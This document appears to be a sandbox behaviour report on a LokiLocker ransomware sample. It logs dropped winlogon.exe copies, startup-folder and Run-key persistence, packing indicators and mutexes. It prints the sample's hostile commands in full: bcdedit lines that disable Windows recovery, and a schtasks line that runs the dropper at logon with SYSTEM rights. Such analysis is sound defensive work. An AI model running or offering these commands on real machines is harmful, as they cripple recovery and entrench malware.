Classification label: mal100.rans.adwa.expl.evad.winEXE@55/296@2/2

Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winlogon.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\ProgramData\winlogon.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\ProgramData\winlogon.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:12124:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:11772:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:12064:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3336:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:11896:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:12016:120:WilError_01
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Mutant created: \Sessions\1\BaseNamedObjects\LokiLocker
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1744:120:WilError_01
Source: C:\Users\user\AppData\Roaming\winlogon.exe	Mutant created: \BaseNamedObjects\LokiLocker
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:11636:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3148:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:11796:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:11872:120:WilError_01

Source: unknown

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\wvtymcow.bat" "

Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winlogon.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winlogon.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: Unlockpls.dr01@protonmail.com-1.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: Unlockpls.dr01@protonmail.com-1.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Data Obfuscation:

Detected unpacking (changes PE section rights)

Show sources

Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	Unpacked PE file: 20.2.winlogon.exe.1e0000.0.unpack 3?*?6:EW;)f$Tn'l:EW;.text:ER;.rsrc:R;.reloc:R;.RVA:ER; vs Unknown_Section0:EW;Unknown_Section1:EW;Unknown_Section2:ER;Unknown_Section3:R;Unknown_Section4:R;Unknown_Section5:ER;
Source: C:\ProgramData\winlogon.exe	Unpacked PE file: 46.2.winlogon.exe.710000.0.unpack 3?*?6:EW;)f$Tn'l:EW;.text:ER;.rsrc:R;.reloc:R;.RVA:ER; vs Unknown_Section0:EW;Unknown_Section1:EW;Unknown_Section2:ER;Unknown_Section3:R;Unknown_Section4:R;Unknown_Section5:ER;
Source: C:\ProgramData\winlogon.exe	Unpacked PE file: 48.2.winlogon.exe.840000.0.unpack 3?*?6:EW;)f$Tn'l:EW;.text:ER;.rsrc:R;.reloc:R;.RVA:ER; vs Unknown_Section0:EW;Unknown_Section1:EW;Unknown_Section2:ER;Unknown_Section3:R;Unknown_Section4:R;Unknown_Section5:ER;

Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	Code function: 20_2_049FC55F pushfd ; retf	20_2_049FC579
Source: C:\ProgramData\winlogon.exe	Code function: 46_2_02ACC55F pushfd ; retf	46_2_02ACC579
Source: C:\ProgramData\winlogon.exe	Code function: 48_2_02BEC55F pushfd ; retf	48_2_02BEC579

Source: Unlockpls.dr01@protonmail.com-1.exe	Static PE information: section name: 3?*?6
Source: Unlockpls.dr01@protonmail.com-1.exe	Static PE information: section name: )f$Tn'l
Source: Unlockpls.dr01@protonmail.com-1.exe	Static PE information: section name: .RVA
Source: winlogon.exe.0.dr	Static PE information: section name: 3?*?6
Source: winlogon.exe.0.dr	Static PE information: section name: )f$Tn'l
Source: winlogon.exe.0.dr	Static PE information: section name: .RVA
Source: winlogon.exe0.0.dr	Static PE information: section name: 3?*?6
Source: winlogon.exe0.0.dr	Static PE information: section name: )f$Tn'l
Source: winlogon.exe0.0.dr	Static PE information: section name: .RVA
Source: winlogon.exe1.0.dr	Static PE information: section name: 3?*?6
Source: winlogon.exe1.0.dr	Static PE information: section name: )f$Tn'l
Source: winlogon.exe1.0.dr	Static PE information: section name: .RVA
Source: winlogon.exe2.0.dr	Static PE information: section name: 3?*?6
Source: winlogon.exe2.0.dr	Static PE information: section name: )f$Tn'l
Source: winlogon.exe2.0.dr	Static PE information: section name: .RVA
Source: winlogon.exe3.0.dr	Static PE information: section name: 3?*?6
Source: winlogon.exe3.0.dr	Static PE information: section name: )f$Tn'l
Source: winlogon.exe3.0.dr	Static PE information: section name: .RVA
Source: winlogon.exe.17.dr	Static PE information: section name: 3?*?6
Source: winlogon.exe.17.dr	Static PE information: section name: )f$Tn'l
Source: winlogon.exe.17.dr	Static PE information: section name: .RVA
Source: winlogon.exe0.17.dr	Static PE information: section name: 3?*?6
Source: winlogon.exe0.17.dr	Static PE information: section name: )f$Tn'l
Source: winlogon.exe0.17.dr	Static PE information: section name: .RVA

Source: initial sample

Static PE information: section where entry point is pointing to: .RVA

Source: Unlockpls.dr01@protonmail.com-1.exe

Static PE information: 0xAC62DE22 [Thu Aug 25 01:55:46 2061 UTC]

Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\dnxfxcjw\dnxfxcjw.cmdline
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\dnxfxcjw\dnxfxcjw.cmdline			Jump to behavior

Source: initial sample	Static PE information: section name: )f$Tn'l entropy: 7.99716714963
Source: initial sample	Static PE information: section name: .text entropy: 7.26046698539
Source: initial sample	Static PE information: section name: )f$Tn'l entropy: 7.99716714963
Source: initial sample	Static PE information: section name: .text entropy: 7.26046698539
Source: initial sample	Static PE information: section name: )f$Tn'l entropy: 7.99716714963
Source: initial sample	Static PE information: section name: .text entropy: 7.26046698539
Source: initial sample	Static PE information: section name: )f$Tn'l entropy: 7.99716714963
Source: initial sample	Static PE information: section name: .text entropy: 7.26046698539
Source: initial sample	Static PE information: section name: )f$Tn'l entropy: 7.99716714963
Source: initial sample	Static PE information: section name: .text entropy: 7.26046698539
Source: initial sample	Static PE information: section name: )f$Tn'l entropy: 7.99716714963
Source: initial sample	Static PE information: section name: .text entropy: 7.26046698539
Source: initial sample	Static PE information: section name: )f$Tn'l entropy: 7.99716714963
Source: initial sample	Static PE information: section name: .text entropy: 7.26046698539
Source: initial sample	Static PE information: section name: )f$Tn'l entropy: 7.99716714963
Source: initial sample	Static PE information: section name: .text entropy: 7.26046698539

Persistence and Installation Behavior:

Uses bcdedit to modify the Windows boot settings

Show sources

Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C bcdedit /set {default} recoveryenabled no
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C bcdedit /set {default} recoveryenabled no	Jump to behavior

Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	File created: C:\ProgramData\winlogon.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	File created: C:\ProgramData\g43m2pr1.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\winlogon.exe	Jump to dropped file

Source: C:\Users\user\AppData\Roaming\winlogon.exe	File created: C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\winlogon.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	File created: C:\ProgramData\winlogon.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	File created: C:\Windows\winlogon.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	File created: C:\Users\user\AppData\Roaming\winlogon.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\winlogon.exe	File created: C:\Windows\SysWOW64\winlogon.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	File created: C:\ProgramData\g43m2pr1.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\winlogon.exe	Jump to dropped file

Source: C:\Users\user\AppData\Roaming\winlogon.exe	File created: C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\winlogon.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	File created: C:\Windows\winlogon.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\winlogon.exe	File created: C:\Windows\SysWOW64\winlogon.exe	Jump to dropped file

Boot Survival:

Drops PE files to the startup folder

Show sources

Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe			Jump to dropped file
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\winlogon.exe			Jump to dropped file

Drops script or batch files to the startup folder

Show sources

Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\wvtymcow.bat

Jump to dropped file

Uses schtasks.exe or at.exe to add and modify task schedules

Show sources

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /CREATE /SC ONLOGON /TN Loki /TR C:\Users\user\AppData\Roaming\winlogon.exe /RU SYSTEM /RL HIGHEST /F

Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\:Zone.Identifier:$DATA	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\winlogon.exe\:Zone.Identifier:$DATA	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\wvtymcow.bat	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\logs.txt	Jump to behavior

Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe

Jump to behavior

Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Michael Gillespie			Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Michael Gillespie			Jump to behavior

Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe

Key value created or modified: HKEY_CURRENT_USER\Software\Loki full

Jump to behavior

Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winlogon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winlogon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winlogon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winlogon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winlogon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winlogon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winlogon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winlogon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winlogon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winlogon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winlogon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winlogon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winlogon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winlogon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winlogon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winlogon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winlogon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winlogon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winlogon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winlogon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winlogon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winlogon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winlogon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winlogon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winlogon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winlogon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winlogon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winlogon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winlogon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winlogon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winlogon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winlogon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winlogon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winlogon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winlogon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winlogon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winlogon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winlogon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winlogon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winlogon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winlogon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
